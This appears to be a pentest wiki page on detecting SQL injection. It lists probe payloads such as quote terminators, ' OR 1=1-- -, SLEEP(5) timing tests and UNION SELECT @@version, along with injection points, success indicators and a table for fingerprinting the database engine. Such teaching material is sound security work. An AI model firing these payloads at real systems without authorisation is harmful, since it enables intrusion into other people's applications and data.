Skip to content

SQLi Detection

Detection is finding any injection - not yet exploiting it. Goal: confirm the parameter is injectable and identify the DBMS.

'
"
`
)
')
"))
\
\\
';
'"
'-- -
" -- -
' OR 1=1-- -
1' AND SLEEP(5)-- -

Inject one at a time. Look for: SQL error messages, HTTP 500, response size change, response time delay, or behavioural change (login succeeds, content appears/disappears).

Every value the application sends to the backend is a candidate:

LocationHow to test
URL query parametersModify in browser or proxy
POST body fieldsModify in proxy
JSON fieldsInject inside string values: "id":"1'"
HTTP headersUser-Agent, Cookie, Referer, X-Forwarded-For
CookiesOften reflected into session-tracking queries
Hidden form fieldsVisible in HTML source

Inject characters that would terminate a string literal, identifier, or expression:

' single quote
" double quote
` backtick (MySQL identifier)
) closing paren
')) multiple terminators
\ backslash escape test

Success indicator: SQL error returned, HTTP 500, or any visible deviation from the normal response. A returned error like unclosed quotation mark, near "'": syntax error, ORA-, PG::SyntaxError confirms injection AND fingerprints the DBMS.

If a single quote breaks the page, an even number of quotes should restore it:

'' two quotes - query works again
'+' string concatenation in some DBMS
'||' string concatenation in Oracle/PostgreSQL

If the page works with '' but breaks with ', you have injection.

Submit semantically equivalent payloads. The page should respond identically:

1 baseline
1 AND 1=1 still true → same response
1 AND 1=2 false → different response (or empty)
1' AND '1'='1
1' AND '1'='2

Different responses to logically true vs. false payloads = confirmed boolean-inferable injection. See Boolean-based blind.

When errors are suppressed and content doesn’t change, force a measurable delay:

1' AND SLEEP(5)-- -
1' AND IF(1=1, SLEEP(5), 0)-- -

Success indicator: response takes ~5 seconds longer than baseline. Repeat 2–3 times to rule out network jitter.

Once you have any working injection, identify the engine:

' UNION SELECT @@version-- -

Behavioural fingerprinting (no UNION needed):

TestTrue for
SELECT @@version worksMySQL, MariaDB, MSSQL
SELECT version() worksPostgreSQL, MySQL
SELECT FROM dual requiredOracle
SELECT TOP 1 worksMSSQL
LIMIT 1 worksMySQL, PostgreSQL, SQLite
ROWNUM <= 1 worksOracle
Stacked queries (;) workMSSQL, PostgreSQL (rarely MySQL)
|| is string concatOracle, PostgreSQL, SQLite
+ is string concatMSSQL
CONCAT() is string concatMySQL

See DBMS cheatsheet for full per-engine syntax.

Detection resultNext page
Login form behaves oddlyAuthentication bypass
Errors visible in responseUNION-based
Page changes on true/falseBoolean blind
Page only changes on timeTime blind
Nothing visible at allOut-of-band
  • Some apps URL-encode user input before sending; others double-encode. If a payload doesn’t fire, try sending it URL-encoded and double-encoded.
  • A single ' returning HTTP 200 with normal content does not mean the parameter is safe. Many injections only manifest with logical conditions or on specific code paths.